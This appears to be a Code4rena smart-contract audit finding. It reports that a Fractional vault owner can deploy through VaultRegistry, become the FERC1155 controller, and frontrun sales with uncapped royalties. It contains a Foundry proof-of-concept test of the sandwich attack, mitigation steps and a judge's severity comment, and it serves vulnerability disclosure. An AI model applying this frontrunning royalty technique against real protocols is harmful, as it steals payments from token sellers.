A VAULT OWNER CAN BE ALSO THE CONTROLLER AND ARBITRARILY SET THE SECONDARY MARKET ROYALTIES

[code423n4]

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/VaultRegistry.sol#L147
https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/FERC1155.sol#L217

Vulnerability details

Impact

The secondary sales of a specific FERC1155 token can be charged with a certain amount of fees established by the controller of the FERC1155. Those royalties are meant to be sent to a receiver according to the current implementation. Currently the protocol intends users to deploy vaults via BaseVault.deployVault() which further calls VaultRegistry.create() that uses the currently deployed fNFT instance which it is controlled by the protocol itself.

However, there is other path that allows users deploying a vault where they are also the controllers of the fNFT instance. This allows users to take control over how are the royalty fees changed. A user can easily change maliciously the amount of royalties (which are also uncapped) and steal a considerable (even the whole) amount of FERC1155 transferred.

Proof of Concept

In order to illustrate this, we will conduct a hypothetical scenario where Alice is a malicious vault owner that deploys her vault by directly calling VaultRegistry.createCollectionFor(), bypassing the need to call BaseVault.deployVault().

• Alice creates a vault to fractionalize a pricy asset with the _merkleRoot containing the Minter module by calling VaultRegistry.createCollectionFor(). She is now owner of Token.
• She mints an amount of fTokens and starts to distribute them among the community, and calls Token.setRoyalties() setting the royalties for the secondary market at 1% (in order to incentivize and grow a secondary market).
• A few periods later once the secondary market of that token acquired considerable momentum, Alice scans the mempool and decides to frontrun Bob (who was performing a big transfer) and steals the 100% of payment.

As a result of this process, Bob lost transferred the token to the buyer and received no payment in exchange and Alice got her hands on the whole payment.

It is showcased on the following code that Alice has control over how the fees are modified and when.

    function test_CanFrontrunRoyalties() public {
        (vault, token) = alice.registry.createCollectionFor(
            merkleRoot,
            alice.addr,
            nftReceiverPlugins,
            nftReceiverSelectors
        );

        assertEq(IVault(vault).owner(), address(registry));
        assertEq(IFERC1155(token).controller(), alice.addr);
        
        // Supposing that Alice added herself a minter permission within the merkleRoot
        // that allows her to call Supply.mint(), she will be able to mint tokens.

        // A few days pass and now the tokens are distributed across the community.
        uint256 currentId = 1; // Supposed assigned tokenId.
        uint256 maxPercentage = 100;
        uint256 initialPercentage = 1;

        // Initially Alice sets royalties at 1% in order to incentive secondary market.
        vm.prank(alice.addr);
        IFERC1155(token).setRoyalties(currentId, alice.addr, initialPercentage);

        // Check that anyone but Alice can change the royalties.
        vm.startPrank(bob.addr);
        vm.expectRevert(
            abi.encodeWithSelector(
                IFERC1155.InvalidSender.selector,
                alice.addr, 
                bob.addr
            )
        );    
        IFERC1155(token).setRoyalties(currentId, bob.addr, maxPercentage);     
        vm.stopPrank();

        // Here is where the attack starts.
        vm.startPrank(alice.addr);
        // Frontruns a big transaction (in terms of ether counterpart).
        IFERC1155(token).setRoyalties(currentId, alice.addr, maxPercentage);
        uint256 salePriceInEther = 100 ether;

        (address royaltyReceiver, uint256 calculatedRoyalties) = IFERC1155(token).royaltyInfo(currentId, salePriceInEther);
        assertEq(royaltyReceiver, alice.addr);
        assertEq(calculatedRoyalties, salePriceInEther * maxPercentage / 100);

        // TX <====== sandwitched attacked transaction is mined

        // Backruns taking back the royalties to what it was initially.
        IFERC1155(token).setRoyalties(currentId, alice.addr, initialPercentage);
        (royaltyReceiver, calculatedRoyalties) = IFERC1155(token).royaltyInfo(currentId, salePriceInEther);
        assertEq(royaltyReceiver, alice.addr);
        assertEq(calculatedRoyalties, salePriceInEther * initialPercentage / 100);
        vm.stopPrank();
    }

Recommended Mitigation Steps

It is needed to define clearly how users are intended to deploy vaults under which privileges. The fact that a user can deploy a vault both from BaseVault and VaultRegistry having different privileges is an issue. If needed, the VaultRegistry key functions can be set as internal and have specific callers within BaseVault that control also the privileges of each creation in order to concentrate the vault creations within a single endpoint.

Also, it is extremely important to set a maximum cap for the royalties as soon as possible. Although this does not mitigate the fact that a malicious vault owner can frontrun others, it gives a maximum boundary. What will be a definitive solution is setting both a maximum cap for the royalties and timelock that function so that vault owners have to wait a certain amount of time before changing the royalties in order to bring predictability for the community.

[HardlyDifficult]

Royalties can be set to any rate by the owner, resulting in an effective loss for users. I think this is a Medium risk because it requires a malicious owner to set an unreasonable value.